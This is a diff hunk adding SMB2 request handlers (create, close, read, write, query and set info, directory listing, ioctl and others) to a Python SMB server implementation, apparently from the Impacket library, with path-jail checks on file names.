+                path = connData['ConnectedShares'][recvPacket['TreeID']]['path']
+            else:
+                path = 'NONE'
+                errorCode = STATUS_ACCESS_DENIED
+
+            deleteOnClose = False
+
+            fileName = normalize_path(ntCreateRequest['Buffer'][:ntCreateRequest['NameLength']].decode('utf-16le'))
+
+            if not isInFileJail(path, fileName):
+                LOG.error("Path not in current working directory")
+                return [smb2.SMB2Error()], None, STATUS_OBJECT_PATH_SYNTAX_BAD
+
+            pathName = os.path.join(path, fileName)
+            createDisposition = ntCreateRequest['CreateDisposition']
+            mode = 0
+
+            if createDisposition == smb2.FILE_SUPERSEDE:
+                mode |= os.O_TRUNC | os.O_CREAT
+            elif createDisposition & smb2.FILE_OVERWRITE_IF == smb2.FILE_OVERWRITE_IF:
+                mode |= os.O_TRUNC | os.O_CREAT
+            elif createDisposition & smb2.FILE_OVERWRITE == smb2.FILE_OVERWRITE:
+                if os.path.exists(pathName) is True:
+                    mode |= os.O_TRUNC
+                else:
+                    errorCode = STATUS_NO_SUCH_FILE
+            elif createDisposition & smb2.FILE_OPEN_IF == smb2.FILE_OPEN_IF:
+                if os.path.exists(pathName) is True:
+                    mode |= os.O_TRUNC
+                else:
+                    mode |= os.O_TRUNC | os.O_CREAT
+            elif createDisposition & smb2.FILE_CREATE == smb2.FILE_CREATE:
+                if os.path.exists(pathName) is True:
+                    errorCode = STATUS_OBJECT_NAME_COLLISION
+                else:
+                    mode |= os.O_CREAT
+            elif createDisposition & smb2.FILE_OPEN == smb2.FILE_OPEN:
+                if os.path.exists(pathName) is not True and (
+                        str(pathName) in smbServer.getRegisteredNamedPipes()) is not True:
+                    errorCode = STATUS_NO_SUCH_FILE
+
+            if errorCode == STATUS_SUCCESS:
+                desiredAccess = ntCreateRequest['DesiredAccess']
+                if (desiredAccess & smb2.FILE_READ_DATA) or (desiredAccess & smb2.GENERIC_READ):
+                    mode |= os.O_RDONLY
+                if (desiredAccess & smb2.FILE_WRITE_DATA) or (desiredAccess & smb2.GENERIC_WRITE):
+                    if (desiredAccess & smb2.FILE_READ_DATA) or (desiredAccess & smb2.GENERIC_READ):
+                        mode |= os.O_RDWR  # | os.O_APPEND
+                    else:
+                        mode |= os.O_WRONLY  # | os.O_APPEND
+                if desiredAccess & smb2.GENERIC_ALL:
+                    mode |= os.O_RDWR  # | os.O_APPEND
+
+                createOptions = ntCreateRequest['CreateOptions']
+                if mode & os.O_CREAT == os.O_CREAT:
+                    if createOptions & smb2.FILE_DIRECTORY_FILE == smb2.FILE_DIRECTORY_FILE:
+                        try:
+                            # Let's create the directory
+                            os.mkdir(pathName)
+                            mode = os.O_RDONLY
+                        except Exception as e:
+                            smbServer.log("SMB2_CREATE: %s,%s,%s" % (pathName, mode, e), logging.ERROR)
+                            errorCode = STATUS_ACCESS_DENIED
+                if createOptions & smb2.FILE_NON_DIRECTORY_FILE == smb2.FILE_NON_DIRECTORY_FILE:
+                    # If the file being opened is a directory, the server MUST fail the request with
+                    # STATUS_FILE_IS_A_DIRECTORY in the Status field of the SMB Header in the server
+                    # response.
+                    if os.path.isdir(pathName) is True:
+                        errorCode = STATUS_FILE_IS_A_DIRECTORY
+
+                if createOptions & smb2.FILE_DELETE_ON_CLOSE == smb2.FILE_DELETE_ON_CLOSE:
+                    deleteOnClose = True
+
+                if errorCode == STATUS_SUCCESS:
+                    try:
+                        if os.path.isdir(pathName) and sys.platform == 'win32':
+                            fid = VOID_FILE_DESCRIPTOR
+                        else:
+                            if sys.platform == 'win32':
+                                mode |= os.O_BINARY
+                            if str(pathName) in smbServer.getRegisteredNamedPipes():
+                                fid = PIPE_FILE_DESCRIPTOR
+                                sock = socket.socket()
+                                sock.connect(smbServer.getRegisteredNamedPipes()[str(pathName)])
+                            else:
+                                fid = os.open(pathName, mode)
+                    except Exception as e:
+                        smbServer.log("SMB2_CREATE: %s,%s,%s" % (pathName, mode, e), logging.ERROR)
+                        # print e
+                        fid = 0
+                        errorCode = STATUS_ACCESS_DENIED
+        else:
+            errorCode = STATUS_SMB_BAD_TID
+
+        if errorCode == STATUS_SUCCESS:
+            # Simple way to generate a fid
+            fakefid = uuid.generate()
+
+            respSMBCommand['FileID'] = fakefid
+            respSMBCommand['CreateAction'] = createDisposition
+
+            if fid == PIPE_FILE_DESCRIPTOR:
+                respSMBCommand['CreationTime'] = 0
+                respSMBCommand['LastAccessTime'] = 0
+                respSMBCommand['LastWriteTime'] = 0
+                respSMBCommand['ChangeTime'] = 0
+                respSMBCommand['AllocationSize'] = 4096
+                respSMBCommand['EndOfFile'] = 0
+                respSMBCommand['FileAttributes'] = 0x80
+
+            else:
+                if os.path.isdir(pathName):
+                    respSMBCommand['FileAttributes'] = smb.SMB_FILE_ATTRIBUTE_DIRECTORY
+                else:
+                    respSMBCommand['FileAttributes'] = ntCreateRequest['FileAttributes']
+                # Let's get this file's information
+                respInfo, errorCode = queryPathInformation(path, fileName, level=smb.SMB_QUERY_FILE_ALL_INFO)
+                if errorCode == STATUS_SUCCESS:
+                    respSMBCommand['CreationTime'] = respInfo['CreationTime']
+                    respSMBCommand['LastAccessTime'] = respInfo['LastAccessTime']
+                    respSMBCommand['LastWriteTime'] = respInfo['LastWriteTime']
+                    respSMBCommand['LastChangeTime'] = respInfo['LastChangeTime']
+                    respSMBCommand['FileAttributes'] = respInfo['ExtFileAttributes']
+                    respSMBCommand['AllocationSize'] = respInfo['AllocationSize']
+                    respSMBCommand['EndOfFile'] = respInfo['EndOfFile']
+
+            if errorCode == STATUS_SUCCESS:
+                # Let's store the fid for the connection
+                # smbServer.log('Create file %s, mode:0x%x' % (pathName, mode))
+                connData['OpenedFiles'][fakefid] = {}
+                connData['OpenedFiles'][fakefid]['FileHandle'] = fid
+                connData['OpenedFiles'][fakefid]['FileName'] = pathName
+                connData['OpenedFiles'][fakefid]['DeleteOnClose'] = deleteOnClose
+                connData['OpenedFiles'][fakefid]['Open'] = {}
+                connData['OpenedFiles'][fakefid]['Open']['EnumerationLocation'] = 0
+                connData['OpenedFiles'][fakefid]['Open']['EnumerationSearchPattern'] = ''
+                if fid == PIPE_FILE_DESCRIPTOR:
+                    connData['OpenedFiles'][fakefid]['Socket'] = sock
+        else:
+            respSMBCommand = smb2.SMB2Error()
+
+        if errorCode == STATUS_SUCCESS:
+            connData['LastRequest']['SMB2_CREATE'] = respSMBCommand
+        smbServer.setConnectionData(connId, connData)
+
+        return [respSMBCommand], None, errorCode
+
+    @staticmethod
+    def smb2Close(connId, smbServer, recvPacket):
+        connData = smbServer.getConnectionData(connId)
+
+        respSMBCommand = smb2.SMB2Close_Response()
+
+        closeRequest = smb2.SMB2Close(recvPacket['Data'])
+
+        if closeRequest['FileID'].getData() == b'\xff' * 16:
+            # Let's take the data from the lastRequest
+            if 'SMB2_CREATE' in connData['LastRequest']:
+                fileID = connData['LastRequest']['SMB2_CREATE']['FileID']
+            else:
+                fileID = closeRequest['FileID'].getData()
+        else:
+            fileID = closeRequest['FileID'].getData()
+
+        # Get the Tid associated
+        if recvPacket['TreeID'] in connData['ConnectedShares']:
+            if fileID in connData['OpenedFiles']:
+                errorCode = STATUS_SUCCESS
+                fileHandle = connData['OpenedFiles'][fileID]['FileHandle']
+                pathName = connData['OpenedFiles'][fileID]['FileName']
+                infoRecord = None
+                try:
+                    if fileHandle == PIPE_FILE_DESCRIPTOR:
+                        connData['OpenedFiles'][fileID]['Socket'].close()
+                    elif fileHandle != VOID_FILE_DESCRIPTOR:
+                        os.close(fileHandle)
+                        infoRecord, errorCode = queryFileInformation(os.path.dirname(pathName), os.path.basename(pathName),
+                                                                     smb2.SMB2_FILE_NETWORK_OPEN_INFO)
+                except Exception as e:
+                    smbServer.log("SMB2_CLOSE %s" % e, logging.ERROR)
+                    errorCode = STATUS_INVALID_HANDLE
+                else:
+                    # Check if the file was marked for removal
+                    if connData['OpenedFiles'][fileID]['DeleteOnClose'] is True:
+                        try:
+                            if os.path.isdir(pathName):
+                                shutil.rmtree(connData['OpenedFiles'][fileID]['FileName'])
+                            else:
+                                os.remove(connData['OpenedFiles'][fileID]['FileName'])
+                        except Exception as e:
+                            smbServer.log("SMB2_CLOSE %s" % e, logging.ERROR)
+                            errorCode = STATUS_ACCESS_DENIED
+
+                    # Now fill out the response
+                    if infoRecord is not None:
+                        respSMBCommand['CreationTime'] = infoRecord['CreationTime']
+                        respSMBCommand['LastAccessTime'] = infoRecord['LastAccessTime']
+                        respSMBCommand['LastWriteTime'] = infoRecord['LastWriteTime']
+                        respSMBCommand['ChangeTime'] = infoRecord['ChangeTime']
+                        respSMBCommand['AllocationSize'] = infoRecord['AllocationSize']
+                        respSMBCommand['EndofFile'] = infoRecord['EndOfFile']
+                        respSMBCommand['FileAttributes'] = infoRecord['FileAttributes']
+                    if errorCode == STATUS_SUCCESS:
+                        del (connData['OpenedFiles'][fileID])
+            else:
+                errorCode = STATUS_INVALID_HANDLE
+        else:
+            errorCode = STATUS_SMB_BAD_TID
+
+        smbServer.setConnectionData(connId, connData)
+        return [respSMBCommand], None, errorCode
+
+    @staticmethod
+    def smb2QueryInfo(connId, smbServer, recvPacket):
+        connData = smbServer.getConnectionData(connId)
+
+        respSMBCommand = smb2.SMB2QueryInfo_Response()
+
+        queryInfo = smb2.SMB2QueryInfo(recvPacket['Data'])
+
+        errorCode = STATUS_SUCCESS
+
+        respSMBCommand['OutputBufferOffset'] = 0x48
+        respSMBCommand['Buffer'] = b'\x00'
+
+        if queryInfo['FileID'].getData() == b'\xff' * 16:
+            # Let's take the data from the lastRequest
+            if 'SMB2_CREATE' in connData['LastRequest']:
+                fileID = connData['LastRequest']['SMB2_CREATE']['FileID']
+            else:
+                fileID = queryInfo['FileID'].getData()
+        else:
+            fileID = queryInfo['FileID'].getData()
+
+        # Get the Tid associated
+        if recvPacket['TreeID'] in connData['ConnectedShares']:
+            if fileID in connData['OpenedFiles']:
+                fileName = connData['OpenedFiles'][fileID]['FileName']
+
+                if queryInfo['InfoType'] == smb2.SMB2_0_INFO_FILE:
+                    if queryInfo['FileInfoClass'] == smb2.SMB2_FILE_INTERNAL_INFO:
+                        # No need to call queryFileInformation, we have the data here
+                        infoRecord = smb2.FILE_INTERNAL_INFORMATION()
+                        infoRecord['IndexNumber'] = fileID
+                    else:
+                        infoRecord, errorCode = queryFileInformation(os.path.dirname(fileName),
+                                                                     os.path.basename(fileName),
+                                                                     queryInfo['FileInfoClass'])
+                elif queryInfo['InfoType'] == smb2.SMB2_0_INFO_FILESYSTEM:
+                    if queryInfo['FileInfoClass'] == smb2.SMB2_FILE_EA_INFO:
+                        infoRecord = b'\x00' * 4
+                    else:
+                        infoRecord = queryFsInformation(os.path.dirname(fileName), os.path.basename(fileName),
+                                                        queryInfo['FileInfoClass'])
+                elif queryInfo['InfoType'] == smb2.SMB2_0_INFO_SECURITY:
+                    # Failing for now, until we support it
+                    infoRecord = None
+                    errorCode = STATUS_ACCESS_DENIED
+                else:
+                    smbServer.log("queryInfo not supported (%x)" % queryInfo['InfoType'], logging.ERROR)
+
+                if infoRecord is not None:
+                    respSMBCommand['OutputBufferLength'] = len(infoRecord)
+                    respSMBCommand['Buffer'] = infoRecord
+            else:
+                errorCode = STATUS_INVALID_HANDLE
+        else:
+            errorCode = STATUS_SMB_BAD_TID
+
+        smbServer.setConnectionData(connId, connData)
+        return [respSMBCommand], None, errorCode
+
+    @staticmethod
+    def smb2SetInfo(connId, smbServer, recvPacket):
+        connData = smbServer.getConnectionData(connId)
+
+        respSMBCommand = smb2.SMB2SetInfo_Response()
+
+        setInfo = smb2.SMB2SetInfo(recvPacket['Data'])
+
+        errorCode = STATUS_SUCCESS
+
+        if setInfo['FileID'].getData() == b'\xff' * 16:
+            # Let's take the data from the lastRequest
+            if 'SMB2_CREATE' in connData['LastRequest']:
+                fileID = connData['LastRequest']['SMB2_CREATE']['FileID']
+            else:
+                fileID = setInfo['FileID'].getData()
+        else:
+            fileID = setInfo['FileID'].getData()
+
+        # Get the Tid associated
+        if recvPacket['TreeID'] in connData['ConnectedShares']:
+            path = connData['ConnectedShares'][recvPacket['TreeID']]['path']
+            if fileID in connData['OpenedFiles']:
+                pathName = connData['OpenedFiles'][fileID]['FileName']
+
+                if setInfo['InfoType'] == smb2.SMB2_0_INFO_FILE:
+                    # The file information is being set
+                    informationLevel = setInfo['FileInfoClass']
+                    if informationLevel == smb2.SMB2_FILE_DISPOSITION_INFO:
+                        infoRecord = smb.SMBSetFileDispositionInfo(setInfo['Buffer'])
+                        if infoRecord['DeletePending'] > 0:
+                            # Mark this file for removal after closed
+                            connData['OpenedFiles'][fileID]['DeleteOnClose'] = True
+                    elif informationLevel == smb2.SMB2_FILE_BASIC_INFO:
+                        infoRecord = smb.SMBSetFileBasicInfo(setInfo['Buffer'])
+                        # Creation time won't be set,  the other ones we play with.
+                        atime = infoRecord['LastWriteTime']
+                        if atime == 0:
+                            atime = -1
+                        else:
+                            atime = getUnixTime(atime)
+                        mtime = infoRecord['ChangeTime']
+                        if mtime == 0:
+                            mtime = -1
+                        else:
+                            mtime = getUnixTime(mtime)
+                        if atime > 0 and mtime > 0:
+                            os.utime(pathName, (atime, mtime))
+                    elif informationLevel == smb2.SMB2_FILE_END_OF_FILE_INFO:
+                        fileHandle = connData['OpenedFiles'][fileID]['FileHandle']
+                        infoRecord = smb.SMBSetFileEndOfFileInfo(setInfo['Buffer'])
+                        if infoRecord['EndOfFile'] > 0:
+                            os.lseek(fileHandle, infoRecord['EndOfFile'] - 1, 0)
+                            os.write(fileHandle, b'\x00')
+                    elif informationLevel == smb2.SMB2_FILE_RENAME_INFO:
+                        renameInfo = smb2.FILE_RENAME_INFORMATION_TYPE_2(setInfo['Buffer'])
+                        newFileName = normalize_path(renameInfo['FileName'].decode('utf-16le'))
+                        newPathName = os.path.join(path, newFileName)
+                        if not isInFileJail(path, newFileName):
+                            smbServer.log("Path not in current working directory", logging.ERROR)
+                            return [smb2.SMB2Error()], None, STATUS_OBJECT_PATH_SYNTAX_BAD
+
+                        if renameInfo['ReplaceIfExists'] == 0 and os.path.exists(newPathName):
+                            return [smb2.SMB2Error()], None, STATUS_OBJECT_NAME_COLLISION
+                        try:
+                            os.rename(pathName, newPathName)
+                            connData['OpenedFiles'][fileID]['FileName'] = newPathName
+                        except Exception as e:
+                            smbServer.log("smb2SetInfo: %s" % e, logging.ERROR)
+                            errorCode = STATUS_ACCESS_DENIED
+                    else:
+                        smbServer.log('Unknown level for set file info! 0x%x' % informationLevel, logging.ERROR)
+                        # UNSUPPORTED
+                        errorCode = STATUS_NOT_SUPPORTED
+                # elif setInfo['InfoType'] == smb2.SMB2_0_INFO_FILESYSTEM:
+                #    # The underlying object store information is being set.
+                #    setInfo = queryFsInformation('/', fileName, queryInfo['FileInfoClass'])
+                # elif setInfo['InfoType'] == smb2.SMB2_0_INFO_SECURITY:
+                #    # The security information is being set.
+                #    # Failing for now, until we support it
+                #    infoRecord = None
+                #    errorCode = STATUS_ACCESS_DENIED
+                # elif setInfo['InfoType'] == smb2.SMB2_0_INFO_QUOTA:
+                #    # The underlying object store quota information is being set.
+                #    setInfo = queryFsInformation('/', fileName, queryInfo['FileInfoClass'])
+                else:
+                    smbServer.log("setInfo not supported (%x)" % setInfo['InfoType'], logging.ERROR)
+
+            else:
+                errorCode = STATUS_INVALID_HANDLE
+        else:
+            errorCode = STATUS_SMB_BAD_TID
+
+        smbServer.setConnectionData(connId, connData)
+        return [respSMBCommand], None, errorCode
+
+    @staticmethod
+    def smb2Write(connId, smbServer, recvPacket):
+        connData = smbServer.getConnectionData(connId)
+
+        respSMBCommand = smb2.SMB2Write_Response()
+        writeRequest = smb2.SMB2Write(recvPacket['Data'])
+
+        respSMBCommand['Buffer'] = b'\x00'
+
+        if writeRequest['FileID'].getData() == b'\xff' * 16:
+            # Let's take the data from the lastRequest
+            if 'SMB2_CREATE' in connData['LastRequest']:
+                fileID = connData['LastRequest']['SMB2_CREATE']['FileID']
+            else:
+                fileID = writeRequest['FileID'].getData()
+        else:
+            fileID = writeRequest['FileID'].getData()
+
+        # Get the Tid associated
+        if recvPacket['TreeID'] in connData['ConnectedShares']:
+            if fileID in connData['OpenedFiles']:
+                fileHandle = connData['OpenedFiles'][fileID]['FileHandle']
+                errorCode = STATUS_SUCCESS
+                try:
+                    if fileHandle != PIPE_FILE_DESCRIPTOR:
+                        offset = writeRequest['Offset']
+                        # If we're trying to write past the file end we just skip the write call (Vista does this)
+                        if os.lseek(fileHandle, 0, 2) >= offset:
+                            os.lseek(fileHandle, offset, 0)
+                            os.write(fileHandle, writeRequest['Buffer'])
+                    else:
+                        sock = connData['OpenedFiles'][fileID]['Socket']
+                        sock.send(writeRequest['Buffer'])
+
+                    respSMBCommand['Count'] = writeRequest['Length']
+                    respSMBCommand['Remaining'] = 0xff
+                except Exception as e:
+                    smbServer.log('SMB2_WRITE: %s' % e, logging.ERROR)
+                    errorCode = STATUS_ACCESS_DENIED
+            else:
+                errorCode = STATUS_INVALID_HANDLE
+        else:
+            errorCode = STATUS_SMB_BAD_TID
+
+        smbServer.setConnectionData(connId, connData)
+        return [respSMBCommand], None, errorCode
+
+    @staticmethod
+    def smb2Read(connId, smbServer, recvPacket):
+        connData = smbServer.getConnectionData(connId)
+
+        respSMBCommand = smb2.SMB2Read_Response()
+        readRequest = smb2.SMB2Read(recvPacket['Data'])
+
+        respSMBCommand['Buffer'] = b'\x00'
+
+        if readRequest['FileID'].getData() == b'\xff' * 16:
+            # Let's take the data from the lastRequest
+            if 'SMB2_CREATE' in connData['LastRequest']:
+                fileID = connData['LastRequest']['SMB2_CREATE']['FileID']
+            else:
+                fileID = readRequest['FileID'].getData()
+        else:
+            fileID = readRequest['FileID'].getData()
+
+        # Get the Tid associated
+        if recvPacket['TreeID'] in connData['ConnectedShares']:
+            if fileID in connData['OpenedFiles']:
+                fileHandle = connData['OpenedFiles'][fileID]['FileHandle']
+                errorCode = 0
+                try:
+                    if fileHandle != PIPE_FILE_DESCRIPTOR:
+                        offset = readRequest['Offset']
+                        os.lseek(fileHandle, offset, 0)
+                        content = os.read(fileHandle, readRequest['Length'])
+                    else:
+                        sock = connData['OpenedFiles'][fileID]['Socket']
+                        content = sock.recv(readRequest['Length'])
+
+                    respSMBCommand['DataOffset'] = 0x50
+                    respSMBCommand['DataLength'] = len(content)
+                    respSMBCommand['DataRemaining'] = 0
+                    respSMBCommand['Buffer'] = content
+                except Exception as e:
+                    smbServer.log('SMB2_READ: %s ' % e, logging.ERROR)
+                    errorCode = STATUS_ACCESS_DENIED
+            else:
+                errorCode = STATUS_INVALID_HANDLE
+        else:
+            errorCode = STATUS_SMB_BAD_TID
+
+        smbServer.setConnectionData(connId, connData)
+        return [respSMBCommand], None, errorCode
+
+    @staticmethod
+    def smb2Flush(connId, smbServer, recvPacket):
+        connData = smbServer.getConnectionData(connId)
+
+        respSMBCommand = smb2.SMB2Flush_Response()
+        flushRequest = smb2.SMB2Flush(recvPacket['Data'])
+
+        # Get the Tid associated
+        if recvPacket['TreeID'] in connData['ConnectedShares']:
+            if flushRequest['FileID'].getData() in connData['OpenedFiles']:
+                fileHandle = connData['OpenedFiles'][flushRequest['FileID'].getData()]['FileHandle']
+                errorCode = STATUS_SUCCESS
+                try:
+                    os.fsync(fileHandle)
+                except Exception as e:
+                    smbServer.log("SMB2_FLUSH %s" % e, logging.ERROR)
+                    errorCode = STATUS_ACCESS_DENIED
+            else:
+                errorCode = STATUS_INVALID_HANDLE
+        else:
+            errorCode = STATUS_SMB_BAD_TID
+
+        smbServer.setConnectionData(connId, connData)
+        return [respSMBCommand], None, errorCode
+
+    @staticmethod
+    def smb2QueryDirectory(connId, smbServer, recvPacket):
+        connData = smbServer.getConnectionData(connId)
+        respSMBCommand = smb2.SMB2QueryDirectory_Response()
+        queryDirectoryRequest = smb2.SMB2QueryDirectory(recvPacket['Data'])
+
+        respSMBCommand['Buffer'] = b'\x00'
+
+        # The server MUST locate the tree connection, as specified in section 3.3.5.2.11.
+        if (recvPacket['TreeID'] in connData['ConnectedShares']) is False:
+            return [smb2.SMB2Error()], None, STATUS_NETWORK_NAME_DELETED
+
+        # Next, the server MUST locate the open for the directory to be queried
+        # If no open is found, the server MUST fail the request with STATUS_FILE_CLOSED
+        if queryDirectoryRequest['FileID'].getData() == b'\xff' * 16:
+            # Let's take the data from the lastRequest
+            if 'SMB2_CREATE' in connData['LastRequest']:
+                fileID = connData['LastRequest']['SMB2_CREATE']['FileID']
+            else:
+                fileID = queryDirectoryRequest['FileID'].getData()
+        else:
+            fileID = queryDirectoryRequest['FileID'].getData()
+
+        if (fileID in connData['OpenedFiles']) is False:
+            return [smb2.SMB2Error()], None, STATUS_FILE_CLOSED
+
+        # If the open is not an open to a directory, the request MUST be failed
+        # with STATUS_INVALID_PARAMETER.
+        if os.path.isdir(connData['OpenedFiles'][fileID]['FileName']) is False:
+            return [smb2.SMB2Error()], None, STATUS_INVALID_PARAMETER
+
+        # If any other information class is specified in the FileInformationClass
+        # field of the SMB2 QUERY_DIRECTORY Request, the server MUST fail the
+        # operation with STATUS_INVALID_INFO_CLASS.
+        if queryDirectoryRequest['FileInformationClass'] not in (
+                smb2.FILE_DIRECTORY_INFORMATION, smb2.FILE_FULL_DIRECTORY_INFORMATION,
+                smb2.FILEID_FULL_DIRECTORY_INFORMATION,
+                smb2.FILE_BOTH_DIRECTORY_INFORMATION, smb2.FILEID_BOTH_DIRECTORY_INFORMATION,
+                smb2.FILENAMES_INFORMATION):
+            return [smb2.SMB2Error()], None, STATUS_INVALID_INFO_CLASS
+
+        # If SMB2_REOPEN is set in the Flags field of the SMB2 QUERY_DIRECTORY
+        # Request, the server SHOULD<326> set Open.EnumerationLocation to 0
+        # and Open.EnumerationSearchPattern to an empty string.
+        if queryDirectoryRequest['Flags'] & smb2.SMB2_REOPEN:
+            connData['OpenedFiles'][fileID]['Open']['EnumerationLocation'] = 0
+            connData['OpenedFiles'][fileID]['Open']['EnumerationSearchPattern'] = ''
+
+        # If SMB2_RESTART_SCANS is set in the Flags field of the SMB2
+        # QUERY_DIRECTORY Request, the server MUST set
+        # Open.EnumerationLocation to 0.
+        if queryDirectoryRequest['Flags'] & smb2.SMB2_RESTART_SCANS:
+            connData['OpenedFiles'][fileID]['Open']['EnumerationLocation'] = 0
+
+        # If Open.EnumerationLocation is 0 and Open.EnumerationSearchPattern
+        # is an empty string, then Open.EnumerationSearchPattern MUST be set
+        # to the search pattern specified in the SMB2 QUERY_DIRECTORY by
+        # FileNameOffset and FileNameLength. If FileNameLength is 0, the server
+        # SHOULD<327> set Open.EnumerationSearchPattern as "*" to search all entries.
+
+        pattern = queryDirectoryRequest['Buffer'].decode('utf-16le')
+        if connData['OpenedFiles'][fileID]['Open']['EnumerationLocation'] == 0 and \
+                connData['OpenedFiles'][fileID]['Open']['EnumerationSearchPattern'] == '':
+            if pattern == '':
+                pattern = '*'
+            connData['OpenedFiles'][fileID]['Open']['EnumerationSearchPattern'] = pattern
+
+        # If SMB2_INDEX_SPECIFIED is set and FileNameLength is not zero,
+        # the server MUST set Open.EnumerationSearchPattern to the search pattern
+        # specified in the request by FileNameOffset and FileNameLength.
+        if queryDirectoryRequest['Flags'] & smb2.SMB2_INDEX_SPECIFIED and \
+                queryDirectoryRequest['FileNameLength'] > 0:
+            connData['OpenedFiles'][fileID]['Open']['EnumerationSearchPattern'] = pattern
+
+        pathName = os.path.join(os.path.normpath(connData['OpenedFiles'][fileID]['FileName']), pattern)
+        searchResult, searchCount, errorCode = findFirst2(os.path.dirname(pathName),
+                                                          os.path.basename(pathName),
+                                                          queryDirectoryRequest['FileInformationClass'],
+                                                          smb.ATTR_DIRECTORY, isSMB2=True)
+
+        if errorCode != STATUS_SUCCESS:
+            return [smb2.SMB2Error()], None, errorCode
+
+        if searchCount > 2 and pattern == '*':
+            # strip . and ..
+            searchCount -= 2
+            searchResult = searchResult[2:]
+
+        if searchCount == 0 and connData['OpenedFiles'][fileID]['Open']['EnumerationLocation'] == 0:
+            return [smb2.SMB2Error()], None, STATUS_NO_SUCH_FILE
+
+        if connData['OpenedFiles'][fileID]['Open']['EnumerationLocation'] < 0:
+            return [smb2.SMB2Error()], None, STATUS_NO_MORE_FILES
+
+        totalData = 0
+        respData = b''
+        for nItem in range(connData['OpenedFiles'][fileID]['Open']['EnumerationLocation'], searchCount):
+            connData['OpenedFiles'][fileID]['Open']['EnumerationLocation'] += 1
+            if queryDirectoryRequest['Flags'] & smb2.SL_RETURN_SINGLE_ENTRY:
+                # If single entry is requested we must clear the NextEntryOffset
+                searchResult[nItem]['NextEntryOffset'] = 0
+            data = searchResult[nItem].getData()
+            lenData = len(data)
+            padLen = (8 - (lenData % 8)) % 8
+
+            if (totalData + lenData) >= queryDirectoryRequest['OutputBufferLength']:
+                connData['OpenedFiles'][fileID]['Open']['EnumerationLocation'] -= 1
+                break
+            else:
+                respData += data + b'\x00' * padLen
+                totalData += lenData + padLen
+
+            if queryDirectoryRequest['Flags'] & smb2.SL_RETURN_SINGLE_ENTRY:
+                break
+
+        if connData['OpenedFiles'][fileID]['Open']['EnumerationLocation'] >= searchCount:
+            connData['OpenedFiles'][fileID]['Open']['EnumerationLocation'] = -1
+
+        respSMBCommand['OutputBufferOffset'] = 0x48
+        respSMBCommand['OutputBufferLength'] = totalData
+        respSMBCommand['Buffer'] = respData
+
+        smbServer.setConnectionData(connId, connData)
+        return [respSMBCommand], None, errorCode
+
+    @staticmethod
+    def smb2ChangeNotify(connId, smbServer, recvPacket):
+
+        return [smb2.SMB2Error()], None, STATUS_NOT_SUPPORTED
+
+    @staticmethod
+    def smb2Echo(connId, smbServer, recvPacket):
+
+        respSMBCommand = smb2.SMB2Echo_Response()
+
+        return [respSMBCommand], None, STATUS_SUCCESS
+
+    @staticmethod
+    def smb2TreeDisconnect(connId, smbServer, recvPacket):
+        connData = smbServer.getConnectionData(connId)
+
+        respSMBCommand = smb2.SMB2TreeDisconnect_Response()
+
+        # Get the Tid associated
+        if recvPacket['TreeID'] in connData['ConnectedShares']:
+            smbServer.log("Disconnecting Share(%d:%s)" % (
+                recvPacket['TreeID'], connData['ConnectedShares'][recvPacket['TreeID']]['shareName']))
+            del (connData['ConnectedShares'][recvPacket['TreeID']])
+            errorCode = STATUS_SUCCESS
+        else:
+            errorCode = STATUS_SMB_BAD_TID
+
+        smbServer.setConnectionData(connId, connData)
+        return [respSMBCommand], None, errorCode
+
+    @staticmethod
+    def smb2Logoff(connId, smbServer, recvPacket):
+        connData = smbServer.getConnectionData(connId)
+
+        respSMBCommand = smb2.SMB2Logoff_Response()
+
+        if recvPacket['SessionID'] != connData['Uid']:
+            # STATUS_SMB_BAD_UID
+            errorCode = STATUS_SMB_BAD_UID
+        else:
+            errorCode = STATUS_SUCCESS
+
+        connData['Uid'] = 0
+        connData['Authenticated'] = False
+
+        smbServer.setConnectionData(connId, connData)
+        return [respSMBCommand], None, errorCode
+
+    @staticmethod
+    def smb2Ioctl(connId, smbServer, recvPacket):
+        connData = smbServer.getConnectionData(connId)
+
+        respSMBCommand = smb2.SMB2Ioctl_Response()
+        ioctlRequest = smb2.SMB2Ioctl(recvPacket['Data'])
+
+        ioctls = smbServer.getIoctls()
+        if ioctlRequest['CtlCode'] in ioctls:
+            outputData, errorCode = ioctls[ioctlRequest['CtlCode']](connId, smbServer, ioctlRequest)
+            if errorCode == STATUS_SUCCESS:
+                respSMBCommand['CtlCode'] = ioctlRequest['CtlCode']
+                respSMBCommand['FileID'] = ioctlRequest['FileID']
+                respSMBCommand['InputOffset'] = 0
+                respSMBCommand['InputCount'] = 0
+                respSMBCommand['OutputOffset'] = 0x70
+                respSMBCommand['OutputCount'] = len(outputData)
+                respSMBCommand['Flags'] = 0
+                respSMBCommand['Buffer'] = outputData
+            else:
+                respSMBCommand = outputData
+        else:
+            smbServer.log("Ioctl not implemented command: 0x%x" % ioctlRequest['CtlCode'], logging.DEBUG)
+            errorCode = STATUS_INVALID_DEVICE_REQUEST
+            respSMBCommand = smb2.SMB2Error()
+
+        smbServer.setConnectionData(connId, connData)
+        return [respSMBCommand], None, errorCode
+
+    @staticmethod
+    def smb2Lock(connId, smbServer, recvPacket):
+        connData = smbServer.getConnectionData(connId)
+
+        respSMBCommand = smb2.SMB2Lock_Response()
+
+        # I'm actually doing nothing.. just make MacOS happy ;)
+        errorCode = STATUS_SUCCESS
+
+        smbServer.setConnectionData(connId, connData)
+        return [respSMBCommand], None, errorCode
+
+    @staticmethod
+    def smb2Cancel(connId, smbServer, recvPacket):
+        # I'm actually doing nothing
+        return [smb2.SMB2Error()], None, STATUS_CANCELLED
+
+    @staticmethod
+    def default(connId, smbServer, recvPacket):
+        # By default we return an SMB Packet with error not implemented
+        smbServer.log("Not implemented command: 0x%x" % recvPacket['Command'], logging.DEBUG)
+        return [smb2.SMB2Error()], None, STATUS_NOT_SUPPORTED
+
+
+class Ioctls:
+    @staticmethod
+    def fsctlDfsGetReferrals(connId, smbServer, ioctlRequest):
+        return smb2.SMB2Error(), STATUS_FS_DRIVER_REQUIRED
+
+    @staticmethod
+    def fsctlPipeTransceive(connId, smbServer, ioctlRequest):
+        connData = smbServer.getConnectionData(connId)
+
+        ioctlResponse = ''
+
+        if ioctlRequest['FileID'].getData() in connData['OpenedFiles']:
+            fileHandle = connData['OpenedFiles'][ioctlRequest['FileID'].getData()]['FileHandle']
+            errorCode = STATUS_SUCCESS
+            try:
+                if fileHandle != PIPE_FILE_DESCRIPTOR:
+                    errorCode = STATUS_INVALID_DEVICE_REQUEST
+                else:
+                    sock = connData['OpenedFiles'][ioctlRequest['FileID'].getData()]['Socket']
+                    sock.sendall(ioctlRequest['Buffer'])
